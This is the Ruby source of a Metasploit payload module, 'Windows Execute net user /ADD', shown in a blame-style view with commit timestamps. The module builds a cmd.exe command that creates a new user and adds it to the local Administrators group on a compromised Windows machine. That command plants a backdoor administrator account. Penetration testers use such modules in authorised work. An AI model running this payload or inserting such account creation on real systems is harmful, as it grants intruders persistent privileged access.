2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-07-11 05:15:30 +00:00
|
|
|
require 'msf/core'
|
2006-02-21 03:10:58 +00:00
|
|
|
require 'msf/core/payload/windows/exec'
|
2005-07-11 05:15:30 +00:00
|
|
|
|
|
|
|
|
|
|
|
###
|
|
|
|
#
|
|
|
|
# Extends the Exec payload to add a new user.
|
|
|
|
#
|
|
|
|
###
|
2008-10-02 05:23:59 +00:00
|
|
|
module Metasploit3
|
2005-07-11 05:15:30 +00:00
|
|
|
|
2006-02-21 03:10:58 +00:00
|
|
|
include Msf::Payload::Windows::Exec
|
2005-07-11 05:15:30 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Windows Execute net user /ADD',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => 'Create a new user and add them to local administration group',
|
|
|
|
'Author' => 'hdm',
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-07-11 05:15:30 +00:00
|
|
|
'Platform' => 'win',
|
2005-07-13 18:54:41 +00:00
|
|
|
'Arch' => ARCH_X86,
|
2005-07-11 05:15:30 +00:00
|
|
|
'Privileged' => true))
|
|
|
|
|
|
|
|
# Register command execution options
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
|
|
|
|
OptString.new('PASS', [ true, "The password for this user", "" ]),
|
2008-10-02 05:23:59 +00:00
|
|
|
], self.class)
|
2005-07-11 05:21:19 +00:00
|
|
|
|
|
|
|
# Hide the CMD option...this is kinda ugly
|
|
|
|
deregister_options('CMD')
|
2005-07-11 05:15:30 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Override the exec command string
|
|
|
|
#
|
|
|
|
def command_string
|
|
|
|
user = datastore['USER'] || 'metasploit'
|
|
|
|
pass = datastore['PASS'] || ''
|
|
|
|
|
|
|
|
return "cmd.exe /c net user #{user} #{pass} /ADD && " +
|
|
|
|
"net localgroup Administrators #{user} /ADD"
|
|
|
|
end
|
|
|
|
|
2008-10-19 21:03:39 +00:00
|
|
|
end
|